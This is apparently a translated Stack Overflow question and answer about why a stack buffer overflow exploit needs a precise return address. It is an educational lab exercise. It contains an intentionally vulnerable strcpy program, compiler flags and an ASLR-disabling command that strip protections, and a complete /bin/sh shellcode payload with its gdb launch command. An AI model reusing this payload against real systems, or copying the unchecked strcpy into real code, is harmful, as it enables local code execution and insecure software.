【问题标题】:Why is there the need to use a precise return address for shellcode execution?为什么需要使用精确的返回地址来执行 shellcode?
【发布时间】:2021-11-13 15:16:15
【问题描述】:

我试图理解为什么为了成功执行我的 shellcode 有效负载,我需要在堆栈中使用特定的返回地址。

如果我使用仍在堆栈中的其他地址,我会得到 SIGSEGV segmentation fault 或 SIGILL illegal instruction。


首先,我通过这样做在我的操作系统上停用了 ASLR:

echo 0 > /proc/sys/kernel/randomize_va_space

这是我的易受攻击的 C 代码:

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

void func (char *arg) {
  char buffer[64];
  strcpy(buffer, arg);
  printf("%s\n", buffer);
}

int main(int argc, char *argv[])
{
  func(argv[1]);
  return 0;
}

我在 64 位机器上使用 gcc 将其编译为 32 位,代码如下:

gcc -z execstack -m32 buffer.c -g -o buffer -fno-stack-protector

因此,我有一个可执行堆栈,因此 shellcode 是可执行的,也没有堆栈保护器来允许堆栈粉碎。


这是我的 shellcode(NOP|shellcode-payload|return-address):

"\x90"*31 + "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" + "\x30\xd5\xff\xff"

我使用 Python2 将此 shellcode 作为buffer 二进制文件的输入提供给 gdb,如下所示:

gdb --args ./buffer $(python2 -c 'print("\x90"*31 + "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" + "\x30\xd5\xff\xff")')

通过将break func 放入gdb 中,我可以打印显示堆栈的位的以下字节。

如果我将任何不在范围内的返回地址放在 shellcode 的末尾:0xffffd521-0xffffd539。我得到了 SIGSEGV 或 SIGILL 为什么会这样?

例如,0xffffd520 是堆栈内的有效地址,为什么它不起作用?

【问题讨论】:

  • 因为它是未定义的行为。在这一点上,试图推理它是没有实际意义的。这些类型的 hack,如果正确完成,仍然需要您尝试多次,直到幸运并且它完成了您期望损坏的代码执行的操作。
  • 很难说为什么它不起作用。您很可能在 shellcode 中间跳入数据或(可能未对齐)指令。请注意,更改 argv[1] 的大小也会有效地在堆栈上移动东西,因为程序参数存储在堆栈的底部。
  • 0xffffd520 有一个空格作为其字节 (0x20) 之一,而 shell 中的 $(...) 在空格上拆分。因此,有了这样一个地址,我怀疑您没有将整个有效负载放入argv[1]。尝试检查程序中argc 和argv 的值以确认。你需要写"$(...)"。
  • @NateEldredge 你说得对,如果我使用$(...),argc 等于3,但如果我使用"$(...)",它会下降到2。同样argv在最后被剪掉作为返回地址。
  • 您能否在@NateEldredge 中添加您的评论作为答案?

标签: c return buffer-overflow shellcode stack-pointer


【解决方案1】:

这与您的程序或您的 shellcode 无关,而是与您运行它的方式有关。 shell 中的$(...) 在空格处将其结果拆分为多个参数,因此如果python 的输出包含空格字节,argv[1] 将仅获得第一个此类字节之前的有效负载部分。地址0xffffd520 有0x20,空格,作为它的字节之一,所以这将导致argv[1] 包含有效负载的截断版本,特别是根本不包含正确的返回地址,因此崩溃。

您应该使用引号将整个输出强制为单个参数:"$(python2 ... )"

【讨论】:

    猜你喜欢
    • 2018-07-17
    • 2015-05-31
    • 2018-03-09
    • 2013-05-23
    • 2022-01-02
    • 2015-11-03
    • 2023-01-25
    • 1970-01-01
    • 2018-03-19
    相关资源
    最近更新 更多